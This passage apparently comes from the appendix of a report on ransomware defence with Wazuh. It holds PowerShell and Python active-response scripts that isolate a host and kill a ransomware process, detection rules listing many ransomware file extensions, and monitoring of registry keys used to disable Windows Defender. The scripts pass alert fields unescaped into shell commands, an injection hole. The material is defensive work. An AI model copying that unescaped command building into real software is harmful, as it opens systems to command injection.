↪→ Stop-Process -Name $executable_short -Force) -or (Stop-Process




# UNDO PREVIOUS ACTIONS
#Free file handles
Foreach($handle in $handleArray) {
$handle.Close()
}
#Enable the Internet adapter disabled previously
Enable-NetAdapter -Name "$name" -Passthru -Confirm:$false
Listing C.43: PowerShell script to stop and mitigate the execution of crypto
ransomware










# Read configuration parameters
alert_file = open(sys.argv[1])
# Read the alert file
alert_json = json.loads(alert_file.read())
alert_file.close()
# Extract fields and call the script
alert_id=alert_json[’rule’][’id’]







os.system("ssh Administrator@10.0.3.2 ’powershell C:\Users\
↪→ Administrator\Downloads\stop.ps1’ "+directory+" "+pid+" "+exe)








Listing C.45: Python script in /var/ossec/integrations/ to parse the triggering
alert and execute a remote script with SSH
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Testing with real crypto ransomware
The configuration is exactly the same as with the previous cases in C.19, C.20,






















































































Listing C.47: Configuration in /var/ossec/etc/shared/default/agent.conf for the











<match>was deleted|was modified|checksum changed</match>





















<rule id="333015" level="3" timeframe="30" frequency="10" >
<if_matched_sid>333013</if_matched_sid>
<ignore>60</ignore>
<description>Many file modifications in a short time</
↪→ description>
</rule>
<rule id="333016" level="3" timeframe="30" frequency="10" >
<if_matched_sid>333014</if_matched_sid>
<ignore>60</ignore>
<description>Many file creations in a short time</description>
</rule>
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<rule id="333017" level="3" timeframe="30" frequency="10" >
<if_matched_sid>333012</if_matched_sid>
<ignore>60</ignore>
<description>Many file deletions in a short time</description>
</rule>
<rule id="333019" level="3" timeframe="60" frequency="2" >
<if_matched_sid>333011</if_matched_sid>
<ignore>5</ignore>





<regex>’\.+.1cbu1’ was modified|’\.+.1txt’ was modified|’\.+.73
↪→ i87A’ was modified|’\.+.AngleWare’ was modified|’\.+.BarRax’
↪→ was modified|’\.+.CCCRRRPPP’ was modified|’\.+.Dexter’ was
↪→ modified|’\.+.EnCiPhErEd’ was modified|’\.+.LeChiffre’ was
↪→ modified|’\.+.MERRY’ was modified|’\.+.MRCR1’ was modified|’
↪→ \.+.PEGS1’ was modified|’\.+.PoAr2w’ was modified|’\.+.
↪→ R16m01d05’ was modified|’\.+.RARE1’ was modified|’\.+.RMCM1’
↪→ was modified|’\.+.SecureCrypted’ was modified|’\.+.
↪→ VforVendetta’ was modified|’\.+.Whereisyourfiles’ was modified
↪→ |’\.+._AiraCropEncrypted’ was modified|’\.+.a5zfn’ was
↪→ modified|’\.+.aaa’ was modified|’\.+.abc’ was modified|’\.+.
↪→ adk’ was modified|’\.+.aesir’ was modified|’\.+.alcatraz’ was
↪→ modified|’\.+.angelamerkel’ was modified|’\.+.antihacker2017’
↪→ was modified|’\.+.atlas’ was modified|’\.+.axx’ was modified|’
↪→ \.+.bin’ was modified|’\.+.bitstak’ was modified|’\.+.
↪→ braincrypt’ was modified|’\.+.breaking_bad’ was modified|’\.+.
↪→ bript’ was modified|’\.+.btc’ was modified|’\.+.ccc’ was
↪→ modified|’\.+.cerber’ was modified|’\.+.cerber2’ was modified|
↪→ ’\.+.cerber3’ was modified|’\.+.coded’ was modified|’\.+.
↪→ comrade’ was modified|’\.+.conficker’ was modified|’\.+.
↪→ coverton’ was modified|’\.+.crinf’ was modified|’\.+.crjoker’
↪→ was modified|’\.+.crptrgr’ was modified|’\.+.cry’ was modified
↪→ |’\.+.cryeye’ was modified|’\.+.cryp1’ was modified|’\.+.crypt
↪→ ’ was modified|’\.+.crypte’ was modified|’\.+.crypted’ was
↪→ modified|’\.+.cryptolocker’ was modified|’\.+.cryptowall’ was
↪→ modified|’\.+.crypz’ was modified|’\.+.czvxce’ was modified|’
↪→ \.+.d4nk’ was modified|’\.+.dCrypt’ was modified|’\.+.dale’
↪→ was modified|’\.+.damage’ was modified|’\.+.darkness’ was
↪→ modified|’\.+.decrypt2017’ was modified|’\.+.dharma’ was
↪→ modified|’\.+.dll’ was modified|’\.+.dxxd’ was modified|’\.+.
↪→ ecc’ was modified|’\.+.edgel’ was modified|’\.+.enc’ was
↪→ modified</regex>






<regex>’\.+.enciphered’ was modified|’\.+.encr’ was modified|’
↪→ \.+.encrypt’ was modified|’\.+.encrypted’ was modified|’\.+.
↪→ encrypted’ was modified|’\.+.encrypted’ was modified|’\.+.
↪→ enigma’ was modified|’\.+.evillock’ was modified|’\.+.exotic’
↪→ was modified|’\.+.exx’ was modified|’\.+.ezz’ was modified|’
↪→ \.+.fantom’ was modified|’\.+.file0locked’ was modified|’\.+.
↪→ fucked’ was modified|’\.+.fun’ was modified|’\.+.fun’ was
↪→ modified|’\.+.gefickt’ was modified|’\.+.globe’ was modified|’
↪→ \.+.good’ was modified|’\.+.grt’ was modified|’\.+.ha3’ was
↪→ modified|’\.+.helpmeencedfiles’ was modified|’\.+.herbst’ was
↪→ modified|’\.+.hnumkhotep’ was modified|’\.+.hush’ was modified
↪→ |’\.+.ifuckedyou’ was modified|’\.+.info’ was modified|’\.+.
↪→ kernel_complete’ was modified|’\.+.kernel_pid’ was modified|’
↪→ \.+.kernel_time’ was modified|’\.+.keybtc@inbox_com’ was
↪→ modified|’\.+.kimcilware’ was modified|’\.+.kkk’ was modified|
↪→ ’\.+.kostya’ was modified|’\.+.kraken’ was modified|’\.+.
↪→ kratos’ was modified|’\.+.kyra’ was modified|’\.+.lcked’ was
↪→ modified|’\.+.legion’ was modified|’\.+.lesli’ was modified|’
↪→ \.+.lock93’ was modified|’\.+.locked’ was modified|’\.+.
↪→ locklock’ was modified|’\.+.locky’ was modified|’\.+.lol!’ was
↪→ modified|’\.+.loli’ was modified|’\.+.lovewindows’ was
↪→ modified|’\.+.madebyadam’ was modified|’\.+.magic’ was
↪→ modified|’\.+.maya’ was modified|’\.+.micro’ was modified|’
↪→ \.+.mole’ was modified|’\.+.noproblemwedecfiles’ was modified|
↪→ ’\.+.nuclear55’ was modified|’\.+.odcodc’ was modified|’\.+.
↪→ odin’ was modified|’\.+.onion’ was modified|’\.+.oops’ was
↪→ modified|’\.+.osiris’ was modified|’\.+.p5tkjw’ was modified|’
↪→ \.+.padcrypt’ was modified|’\.+.paym’ was modified|’\.+.
↪→ paymrss’ was modified|’\.+.payms’ was modified|’\.+.paymst’
↪→ was modified</regex>





<regex>’\.+.paymts’ was modified|’\.+.payrms’ was modified|’\.+.
↪→ pays’ was modified|’\.+.pdcr’ was modified|’\.+.pec’ was
↪→ modified|’\.+.perl’ was modified|’\.+.potato’ was modified|’
↪→ \.+.powerfulldecrypt’ was modified|’\.+.pubg’ was modified|’
↪→ \.+.purge’ was modified|’\.+.pzdc’ was modified|’\.+.r5a’ was
↪→ modified|’\.+.raid10’ was modified|’\.+.razy’ was modified|’
↪→ \.+.rdm’ was modified|’\.+fs0ciety\.*’ was modified|’\.+.rekt’
↪→ was modified|’\.+.rip’ was modified|’\.+.rmd’ was modified|’
↪→ \.+.rnsmwr’ was modified|’\.+.rokku’ was modified|’\.+.rrk’
↪→ was modified|’\.+.ruby’ was modified|’\.+.sage’ was modified|’
↪→ \.+.serp’ was modified|’\.+.serpent’ was modified|’\.+.sexy’
↪→ was modified|’\.+.shit’ was modified|’\.+.spora’ was modified|
↪→ ’\.+.stn’ was modified|’\.+.surprise’ was modified|’\.+.szf’
↪→ was modified|’\.+.theworldisyours’ was modified|’\.+.thor’ was
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↪→ modified|’\.+.ttt’ was modified|’\.+.unavailable’ was
↪→ modified|’\.+.vbransom’ was modified|’\.+.venusf’ was modified
↪→ |’\.+.vindows’ was modified|’\.+.vvv’ was modified|’\.+.vxlock
↪→ ’ was modified|’\.+.wallet’ was modified|’\.+.wcry’ was
↪→ modified|’\.+.wflx’ was modified|’\.+.windows10’ was modified|
↪→ ’\.+.xxx’ was modified|’\.+.xxx’ was modified|’\.+.xyz’ was
↪→ modified|’\.+.ytbl’ was modified|’\.+.zcrypt’ was modified|’
↪→ \.+.zepto’ was modified|’\.+.zorro’ was modified|’\.+.zyklon’
↪→ was modified|’\.+.zzz’ was modified|’\.+.zzzzz’ was modified</
↪→ regex>





<regex>’\.+.1cbu1’ was added|’\.+.1txt’ was added|’\.+.73i87A’
↪→ was added|’\.+.AngleWare’ was added|’\.+.BarRax’ was added|’
↪→ \.+.CCCRRRPPP’ was added|’\.+.Dexter’ was added|’\.+.
↪→ EnCiPhErEd’ was added|’\.+.LeChiffre’ was added|’\.+.MERRY’
↪→ was added|’\.+.MRCR1’ was added|’\.+.PEGS1’ was added|’\.+.
↪→ PoAr2w’ was added|’\.+.R16m01d05’ was added|’\.+.RARE1’ was
↪→ added|’\.+.RMCM1’ was added|’\.+.SecureCrypted’ was added|’
↪→ \.+.VforVendetta’ was added|’\.+.Whereisyourfiles’ was added|’
↪→ \.+._AiraCropEncrypted’ was added|’\.+.a5zfn’ was added|’\.+.
↪→ aaa’ was added|’\.+.abc’ was added|’\.+.adk’ was added|’\.+.
↪→ aesir’ was added|’\.+.alcatraz’ was added|’\.+.angelamerkel’
↪→ was added|’\.+.antihacker2017’ was added|’\.+.atlas’ was added
↪→ |’\.+.axx’ was added|’\.+.bin’ was added|’\.+.bitstak’ was
↪→ added|’\.+.braincrypt’ was added|’\.+.breaking_bad’ was added|
↪→ ’\.+.bript’ was added|’\.+.btc’ was added|’\.+.ccc’ was added|
↪→ ’\.+.cerber’ was added|’\.+.cerber2’ was added|’\.+.cerber3’
↪→ was added|’\.+.coded’ was added|’\.+.comrade’ was added|’\.+.
↪→ conficker’ was added|’\.+.coverton’ was added|’\.+.crinf’ was
↪→ added|’\.+.crjoker’ was added|’\.+.crptrgr’ was added|’\.+.cry
↪→ ’ was added|’\.+.cryeye’ was added|’\.+.cryp1’ was added|’\.+.
↪→ crypt’ was added|’\.+.crypte’ was added|’\.+.crypted’ was
↪→ added|’\.+.cryptolocker’ was added|’\.+.cryptowall’ was added|
↪→ ’\.+.crypz’ was added|’\.+.czvxce’ was added|’\.+.d4nk’ was
↪→ added|’\.+.dCrypt’ was added|’\.+.dale’ was added|’\.+.damage’
↪→ was added|’\.+.darkness’ was added|’\.+.decrypt2017’ was
↪→ added|’\.+.dharma’ was added|’\.+.dll’ was added|’\.+.dxxd’
↪→ was added|’\.+.ecc’ was added|’\.+.edgel’ was added|’\.+.enc’
↪→ was added</regex>





<regex>’\.+.enciphered’ was added|’\.+.encr’ was added|’\.+.
↪→ encrypt’ was added|’\.+.encrypted’ was added|’\.+.encrypted’
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↪→ was added|’\.+.encrypted’ was added|’\.+.enigma’ was added|’
↪→ \.+.evillock’ was added|’\.+.exotic’ was added|’\.+.exx’ was
↪→ added|’\.+.ezz’ was added|’\.+.fantom’ was added|’\.+.
↪→ file0locked’ was added|’\.+.fucked’ was added|’\.+.fun’ was
↪→ added|’\.+.fun’ was added|’\.+.gefickt’ was added|’\.+.globe’
↪→ was added|’\.+.good’ was added|’\.+.grt’ was added|’\.+.ha3’
↪→ was added|’\.+.helpmeencedfiles’ was added|’\.+.herbst’ was
↪→ added|’\.+.hnumkhotep’ was added|’\.+.hush’ was added|’\.+.
↪→ ifuckedyou’ was added|’\.+.info’ was added|’\.+.
↪→ kernel_complete’ was added|’\.+.kernel_pid’ was added|’\.+.
↪→ kernel_time’ was added|’\.+.keybtc@inbox_com’ was added|’\.+.
↪→ kimcilware’ was added|’\.+.kkk’ was added|’\.+.kostya’ was
↪→ added|’\.+.kraken’ was added|’\.+.kratos’ was added|’\.+.kyra’
↪→ was added|’\.+.lcked’ was added|’\.+.legion’ was added|’\.+.
↪→ lesli’ was added|’\.+.lock93’ was added|’\.+.locked’ was added
↪→ |’\.+.locklock’ was added|’\.+.locky’ was added|’\.+.lol!’ was
↪→ added|’\.+.loli’ was added|’\.+.lovewindows’ was added|’\.+.
↪→ madebyadam’ was added|’\.+.magic’ was added|’\.+.maya’ was
↪→ added|’\.+.micro’ was added|’\.+.mole’ was added|’\.+.
↪→ noproblemwedecfiles’ was added|’\.+.nuclear55’ was added|’\.+.
↪→ odcodc’ was added|’\.+.odin’ was added|’\.+.onion’ was added|’
↪→ \.+.oops’ was added|’\.+.osiris’ was added|’\.+.p5tkjw’ was
↪→ added|’\.+.padcrypt’ was added|’\.+.paym’ was added|’\.+.
↪→ paymrss’ was added|’\.+.payms’ was added|’\.+.paymst’ was
↪→ added</regex>





<regex>’\.+.paymts’ was added|’\.+.payrms’ was added|’\.+.pays’
↪→ was added|’\.+.pdcr’ was added|’\.+.pec’ was added|’\.+.perl’
↪→ was added|’\.+.potato’ was added|’\.+.powerfulldecrypt’ was
↪→ added|’\.+.pubg’ was added|’\.+.purge’ was added|’\.+.pzdc’
↪→ was added|’\.+.r5a’ was added|’\.+.raid10’ was added|’\.+.razy
↪→ ’ was added|’\.+.rdm’ was added|’\.+fs0ciety\.*’ was added|’
↪→ \.+.rekt’ was added|’\.+.rip’ was added|’\.+.rmd’ was added|’
↪→ \.+.rnsmwr’ was added|’\.+.rokku’ was added|’\.+.rrk’ was
↪→ added|’\.+.ruby’ was added|’\.+.sage’ was added|’\.+.serp’ was
↪→ added|’\.+.serpent’ was added|’\.+.sexy’ was added|’\.+.shit’
↪→ was added|’\.+.spora’ was added|’\.+.stn’ was added|’\.+.
↪→ surprise’ was added|’\.+.szf’ was added|’\.+.theworldisyours’
↪→ was added|’\.+.thor’ was added|’\.+.ttt’ was added|’\.+.
↪→ unavailable’ was added|’\.+.vbransom’ was added|’\.+.venusf’
↪→ was added|’\.+.vindows’ was added|’\.+.vvv’ was added|’\.+.
↪→ vxlock’ was added|’\.+.wallet’ was added|’\.+.wcry’ was added|
↪→ ’\.+.wflx’ was added|’\.+.windows10’ was added|’\.+.xxx’ was
↪→ added|’\.+.xxx’ was added|’\.+.xyz’ was added|’\.+.ytbl’ was
↪→ added|’\.+.zcrypt’ was added|’\.+.zepto’ was added|’\.+.zorro’
↪→ was added|’\.+.zyklon’ was added|’\.+.zzz’ was added|’\.+.
↪→ zzzzz’ was added</regex>
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<regex>’\.+.1cbu1’ checksum changed|’\.+.1txt’ checksum changed|
↪→ ’\.+.73i87A’ checksum changed|’\.+.AngleWare’ checksum changed
↪→ |’\.+.BarRax’ checksum changed|’\.+.CCCRRRPPP’ checksum
↪→ changed|’\.+.Dexter’ checksum changed|’\.+.EnCiPhErEd’
↪→ checksum changed|’\.+.LeChiffre’ checksum changed|’\.+.MERRY’
↪→ checksum changed|’\.+.MRCR1’ checksum changed|’\.+.PEGS1’
↪→ checksum changed|’\.+.PoAr2w’ checksum changed|’\.+.R16m01d05’
↪→ checksum changed|’\.+.RARE1’ checksum changed|’\.+.RMCM1’
↪→ checksum changed|’\.+.SecureCrypted’ checksum changed|’\.+.
↪→ VforVendetta’ checksum changed|’\.+.Whereisyourfiles’ checksum
↪→ changed|’\.+._AiraCropEncrypted’ checksum changed|’\.+.a5zfn’
↪→ checksum changed|’\.+.aaa’ checksum changed|’\.+.abc’
↪→ checksum changed|’\.+.adk’ checksum changed|’\.+.aesir’
↪→ checksum changed|’\.+.alcatraz’ checksum changed|’\.+.
↪→ angelamerkel’ checksum changed|’\.+.antihacker2017’ checksum
↪→ changed|’\.+.atlas’ checksum changed|’\.+.axx’ checksum
↪→ changed|’\.+.bin’ checksum changed|’\.+.bitstak’ checksum
↪→ changed|’\.+.braincrypt’ checksum changed|’\.+.breaking_bad’
↪→ checksum changed|’\.+.bript’ checksum changed|’\.+.btc’
↪→ checksum changed|’\.+.ccc’ checksum changed|’\.+.cerber’
↪→ checksum changed|’\.+.cerber2’ checksum changed|’\.+.cerber3’
↪→ checksum changed|’\.+.coded’ checksum changed|’\.+.comrade’
↪→ checksum changed|’\.+.conficker’ checksum changed|’\.+.
↪→ coverton’ checksum changed|’\.+.crinf’ checksum changed|’\.+.
↪→ crjoker’ checksum changed|’\.+.crptrgr’ checksum changed|’\.+.
↪→ cry’ checksum changed|’\.+.cryeye’ checksum changed|’\.+.cryp1
↪→ ’ checksum changed|’\.+.crypt’ checksum changed|’\.+.crypte’
↪→ checksum changed|’\.+.crypted’ checksum changed|’\.+.
↪→ cryptolocker’ checksum changed|’\.+.cryptowall’ checksum
↪→ changed|’\.+.crypz’ checksum changed|’\.+.czvxce’ checksum
↪→ changed|’\.+.d4nk’ checksum changed|’\.+.dCrypt’ checksum
↪→ changed|’\.+.dale’ checksum changed|’\.+.damage’ checksum
↪→ changed|’\.+.darkness’ checksum changed|’\.+.decrypt2017’
↪→ checksum changed</regex>





<regex>’\.+.enciphered’ checksum changed|’\.+.encr’ checksum
↪→ changed|’\.+.encrypt’ checksum changed|’\.+.encrypted’
↪→ checksum changed|’\.+.encrypted’ checksum changed|’\.+.
↪→ encrypted’ checksum changed|’\.+.enigma’ checksum changed|’
↪→ \.+.evillock’ checksum changed|’\.+.exotic’ checksum changed|’
↪→ \.+.exx’ checksum changed|’\.+.ezz’ checksum changed|’\.+.
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↪→ fantom’ checksum changed|’\.+.file0locked’ checksum changed|’
↪→ \.+.fucked’ checksum changed|’\.+.fun’ checksum changed|’\.+.
↪→ fun’ checksum changed|’\.+.gefickt’ checksum changed|’\.+.
↪→ globe’ checksum changed|’\.+.good’ checksum changed|’\.+.grt’
↪→ checksum changed|’\.+.ha3’ checksum changed|’\.+.
↪→ helpmeencedfiles’ checksum changed|’\.+.herbst’ checksum
↪→ changed|’\.+.hnumkhotep’ checksum changed|’\.+.hush’ checksum
↪→ changed|’\.+.ifuckedyou’ checksum changed|’\.+.info’ checksum
↪→ changed|’\.+.kernel_complete’ checksum changed|’\.+.kernel_pid
↪→ ’ checksum changed|’\.+.kernel_time’ checksum changed|’\.+.
↪→ keybtc@inbox_com’ checksum changed|’\.+.kimcilware’ checksum
↪→ changed|’\.+.kkk’ checksum changed|’\.+.kostya’ checksum
↪→ changed|’\.+.kraken’ checksum changed|’\.+.kratos’ checksum
↪→ changed|’\.+.kyra’ checksum changed|’\.+.lcked’ checksum
↪→ changed|’\.+.legion’ checksum changed|’\.+.lesli’ checksum
↪→ changed|’\.+.lock93’ checksum changed|’\.+.locked’ checksum
↪→ changed|’\.+.locklock’ checksum changed|’\.+.locky’ checksum
↪→ changed|’\.+.lol!’ checksum changed|’\.+.loli’ checksum
↪→ changed|’\.+.lovewindows’ checksum changed|’\.+.madebyadam’
↪→ checksum changed|’\.+.magic’ checksum changed|’\.+.maya’
↪→ checksum changed|’\.+.micro’ checksum changed|’\.+.mole’
↪→ checksum changed|’\.+.noproblemwedecfiles’ checksum changed|’
↪→ \.+.nuclear55’ checksum changed|’\.+.odcodc’ checksum changed|
↪→ ’\.+.odin’ checksum changed|’\.+.onion’ checksum changed|’\.+.
↪→ oops’ checksum changed|’\.+.osiris’ checksum changed|’\.+.
↪→ p5tkjw’ checksum changed|’\.+.padcrypt’ checksum changed|’\.+.
↪→ paym’ checksum changed|’\.+.paymrss’ checksum changed|’\.+.
↪→ payms’ checksum changed|’\.+.paymst’ checksum changed</regex>





<regex>’\.+.paymts’ checksum changed|’\.+.payrms’ checksum
↪→ changed|’\.+.pays’ checksum changed|’\.+.pdcr’ checksum
↪→ changed|’\.+.pec’ checksum changed|’\.+.perl’ checksum changed
↪→ |’\.+.potato’ checksum changed|’\.+.powerfulldecrypt’ checksum
↪→ changed|’\.+.pubg’ checksum changed|’\.+.purge’ checksum
↪→ changed|’\.+.pzdc’ checksum changed|’\.+.r5a’ checksum changed
↪→ |’\.+.raid10’ checksum changed|’\.+.razy’ checksum changed|’
↪→ \.+.rdm’ checksum changed|’\.+fs0ciety\.*’ checksum changed|’
↪→ \.+.rekt’ checksum changed|’\.+.rip’ checksum changed|’\.+.rmd
↪→ ’ checksum changed|’\.+.rnsmwr’ checksum changed|’\.+.rokku’
↪→ checksum changed|’\.+.rrk’ checksum changed|’\.+.ruby’
↪→ checksum changed|’\.+.sage’ checksum changed|’\.+.serp’
↪→ checksum changed|’\.+.serpent’ checksum changed|’\.+.sexy’
↪→ checksum changed|’\.+.shit’ checksum changed|’\.+.spora’
↪→ checksum changed|’\.+.stn’ checksum changed|’\.+.surprise’
↪→ checksum changed|’\.+.szf’ checksum changed|’\.+.
↪→ theworldisyours’ checksum changed|’\.+.thor’ checksum changed|
↪→ ’\.+.ttt’ checksum changed|’\.+.unavailable’ checksum changed|
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↪→ ’\.+.vbransom’ checksum changed|’\.+.venusf’ checksum changed|
↪→ ’\.+.vindows’ checksum changed|’\.+.vvv’ checksum changed|’
↪→ \.+.vxlock’ checksum changed|’\.+.wallet’ checksum changed|’
↪→ \.+.wcry’ checksum changed|’\.+.wflx’ checksum changed|’\.+.
↪→ windows10’ checksum changed|’\.+.xxx’ checksum changed|’\.+.
↪→ xxx’ checksum changed|’\.+.xyz’ checksum changed|’\.+.ytbl’
↪→ checksum changed|’\.+.zcrypt’ checksum changed|’\.+.zepto’
↪→ checksum changed|’\.+.zorro’ checksum changed|’\.+.zyklon’
↪→ checksum changed|’\.+.zzz’ checksum changed|’\.+.zzzzz’
↪→ checksum changed|’\.+.dharma’ checksum changed|’\.+.dll’
↪→ checksum changed|’\.+.dxxd’ checksum changed|’\.+.ecc’
↪→ checksum changed|’\.+.edgel’ checksum changed|’\.+.enc’
↪→ checksum changed</regex>






























<description>Free space monitor of a volume</description>
</rule>













<description>Free space monitor of a file in the server</
↪→ description>
</rule>
























































<description>C:\Users\OU_user1\Downloads file deleted or
↪→ intented to</description>
</rule>











<description>Windows Defender Control Folder Access monitoring
↪→ event</description>
</rule>






















↪→ Exploit Guard\\Controlled Folder Access\\</field>
<description>Registry event in Windows Defender Exploit Guard\\






































<description>Registry created, changed or renamed: it should
↪→ never be 1</description>
</rule>
</group>
Listing C.48: Wazuh rules for detection in /var/ossec/etc/rules/local rules.xml
#!/usr/bin/env python2.7
import sys,json,os,datetime,subprocess
# Read configuration parameters
alert_file = open(sys.argv[1])






















# Execute the command and call the script with ssh
#same speed as os.system("ssh Administrator@10.0.3.2 ’powershell C:/
↪→ Program‘ Files‘ ‘(x86‘)/ossec-agent/active-response/bin/stop.
↪→ ps1’ "+directory+" "+pid+" "+exe+" "+options" 2>&1 &")
output=subprocess.check_output("ssh Administrator@10.0.3.2 ’
↪→ powershell C:/Program‘ Files‘ ‘(x86‘)/ossec-agent/active-
↪→ response/bin/stop.ps1’ "+directory+" "+pid+" "+exe+" "+options
↪→ +" 2>&1", shell=True)
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LOG="/tmp/wazuh-ssh-script-ransomware_"+alert_id
with open(LOG, ’a’) as f:
f.write("\n\n"+datetime.datetime.now().strftime(’%Y-%m-%d %H:%M
↪→ :%S’)+"\n"+output)
Listing C.49: Python script in /var/ossec/integrations/ to parse the triggering
alert and execute a remote script with SSH
#!/usr/bin/env python2.7
import sys,json,os
# Read configuration parameters
alert_file = open(sys.argv[1])














# Execute the command and call the script with ssh
exe_short=exe.split("/")[-1]
exe_short_noexe=exe_short.split(".")[0]
os.system("ssh Administrator@10.0.3.2 ’powershell (Stop-Process -
↪→ Name "+exe+" -PassThru -Force) -or (Stop-Process -Name "+
↪→ exe_short_noexe+" -PassThru -Force) -or (Stop-Process -Name "+
↪→ exe_short+" -Force)’ 2>&1 &")
Listing C.50: Alternative Python script in /var/ossec/integrations/ to parse the














#Disable the Internet adapter
$name=(Get-NetIPConfiguration| where-object{$_.IPv4Address.IPAddress
↪→ -like ’10.0.2.15’}).InterfaceAlias
Disable-NetAdapter -Name "$name" -Passthru -Confirm:$false




#Lock files recursively in each directory in $DIRS
$DIRS=@(’C:\Users\OU_user1\Downloads’, ’c:\tmp’)










Get-ChildItem "$folder" -File |
Foreach-Object {
















for ($i=0; $i -lt $seconds; $i+=$interval) {
if (($kill_all -eq 1) -or ($kill_all -eq $True)){
(Stop-Process -Name $executable -PassThru -Force) -or (
↪→ Stop-Process -Name $executable_short -Force) -or (Stop-Process




# UNDO PREVIOUS ACTIONS
#Free file handles
Foreach($handle in $handleArray) {
$handle.Close()
}
#Enable the Internet adapter disabled previously
Enable-NetAdapter -Name "$name" -Passthru -Confirm:$false














































↪→ Microsoft\Windows Defender\Real-Time Protection\
↪→ DisableBehaviorMonitoring</TargetObject>
<TargetObject condition="begin with">HKLM\SOFTWARE\Policies\
↪→ Microsoft\Windows Defender\Real-Time Protection\
↪→ DisableOnAccessProtection</TargetObject>
<TargetObject condition="begin with">HKLM\SOFTWARE\Policies\
↪→ Microsoft\Windows Defender\Real-Time Protection\
↪→ DisableScanOnRealtimeEnable</TargetObject>
<TargetObject condition="begin with">HKLM\SOFTWARE\Policies\
↪→ Microsoft\Windows Defender\Windows Defender Exploit Guard\
↪→ Controlled Folder Access\AllowedApplications\</TargetObject>
<TargetObject condition="begin with">HKLM\SOFTWARE\Policies\
↪→ Microsoft\Windows Defender\Windows Defender Exploit Guard\
↪→ Controlled Folder Access\ProtectedFolders\</TargetObject>
<TargetObject condition="begin with">HKLM\SOFTWARE\Policies\
↪→ Microsoft\Windows Defender\Windows Defender Exploit Guard\
↪→ Controlled Folder Access\EnableControlledFolderAccess</
↪→ TargetObject>
<TargetObject condition="begin with">HKLM\SOFTWARE\Policies\
↪→ Microsoft\Windows Defender\Windows Defender Exploit Guard\





↪→ Microsoft\Windows Defender\Windows Defender Exploit Guard\
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</agent_config>
Listing C.56: Enable Windows Defender log forwarding to Wazuh in
/var/ossec/etc/shared/default/agent.conf
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